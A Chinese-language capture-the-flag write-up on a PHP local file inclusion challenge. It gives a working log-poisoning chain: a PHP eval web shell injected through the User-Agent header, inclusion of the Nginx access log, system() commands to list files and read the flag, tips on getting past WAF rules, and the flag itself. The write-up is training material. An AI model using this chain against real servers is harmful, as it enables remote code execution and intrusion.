这是一道非常经典的 文件包含漏洞LFI 结合 日志注入Log Injection 的 Web 题目。我们可以看到代码对 php 和 data 伪协议进行了过滤这封死了直接通过 php://filter 或 data:// 获取 Web Shell 的路径。在这种情况下日志包含 是最通用的 GetShell 手段。源码分析漏洞点include($file) 存在明显的文件包含漏洞。防御手段使用了 str_replace 过滤了 php 和 data 关键字。这意味着你无法使用常用的封装协议如 php://input。绕过思路由于它没有过滤斜杠和敏感目录我们可以尝试包含服务器系统日志。核心思路日志注入Web 服务器如 Nginx 或 Apache会将每一个 HTTP 请求的信息记录在日志文件中。如果我们发送一个包含 PHP 代码的请求这段代码就会被写入日志。当我们利用 include 包含该日志文件时PHP 解释器会执行其中的代码。步骤一定位日志文件你需要尝试常见的 Web 日志存放路径通常在 Linux 下Nginx 日志/var/log/nginx/access.log 或 /var/log/nginx/error.logApache 日志/var/log/apache2/access.log 或 /etc/httpd/logs/access_log验证方法在 URL 后面尝试访问?file/var/log/nginx/access.log。如果页面返回了大量的 HTTP 请求记录说明路径正确。得出日志存放路径为?file/var/log/nginx/access.log步骤二注入木马关键点我们需要通过修改 User-Agent 来注入木马而不是直接在 URL 中注入。原因URL 中的特殊字符如 会被浏览器或服务器进行 URL 编码编码后的内容包含在日志里不会被 PHP 执行。而 User-Agent 字段通常会原样记录。操作方法使用抓包工具如 Burp Suite截获请求或者直接使用hackbar。将请求中的 User-Agent 字段修改为?php eval($_POST[1]); ?。发送请求。此时这一行 PHP 代码就已经躺在服务器的日志文件里了。步骤三包含日志文件 GetShell再次访问包含日志的 URL?file/var/log/nginx/access.log使用 AntSword蚁剑、Chopper菜刀 或直接通过 POST 发送指令。POST 数据cmdsystem(‘ls /’);在hackbar中使用post method 输入1system(‘ls’);如果成功执行你就能看到根目录下的文件列表寻找 flag 即可。发现flag应该在fl0g.php目录下尝试查看fl0g.php文件在post method 中输入1system(‘tac fl0g.php’);得到flagctfshow{7b853f57-bde3-45e1-a31a-59433aeae27f}为什么在修改use-agent中的数据绕过 URL 编码最根本原因当你直接在浏览器地址栏输入特殊字符如 ?时浏览器会自动对这些字符进行 URL 编码例如 变成 %3c。后果Web 服务器会将 %3c?php … %3e 这种编码后的字符串原样写入日志。失效PHP 的 include 函数在执行文件时只识别标准的 PHP 标签 ?php ... ?。它不会自动解码日志里的 %3c。User-Agent 的优势User-Agent 属于 HTTP 请求头Header它是以原始字符串的形式发送给服务器的。大多数 Web 服务器如 Nginx, Apache会直接将 User-Agent 的原始值写入日志而不进行编码从而保证了木马代码的“活性”。日志文件的存储结构Web 服务器的访问日志Access Log通常采用特定的格式记录每次请求。以下是一个典型的 Nginx 日志条目192.168.1.1 - - [13/May/2026] “GET /index.php?file… HTTP/1.1” 200 456 “https://referer.com” “Mozilla/5.0…”URL 部分位于引号内的请求行中。User-Agent 部分位于日志条目的末尾。关键点由于 User-Agent 字段在日志中是完全受用户控制的字符串它为注入攻击提供了一个非常稳定的“载荷槽位”。隐蔽性与规避 WAF许多 WAFWeb 应用防火墙 对 URL 参数有着极其严格的监控。如果你在 URL 参数中提交 ?php eval(...) ?防火墙会立即识别出这是典型的攻击特征并拦截请求。虽然现在的 WAF 也会检查请求头但相比于高度敏感的 URL 参数Header 部分尤其是 User-Agent有时防御规则相对宽松更容易让木马代码“溜进”服务器内部的日志文件中。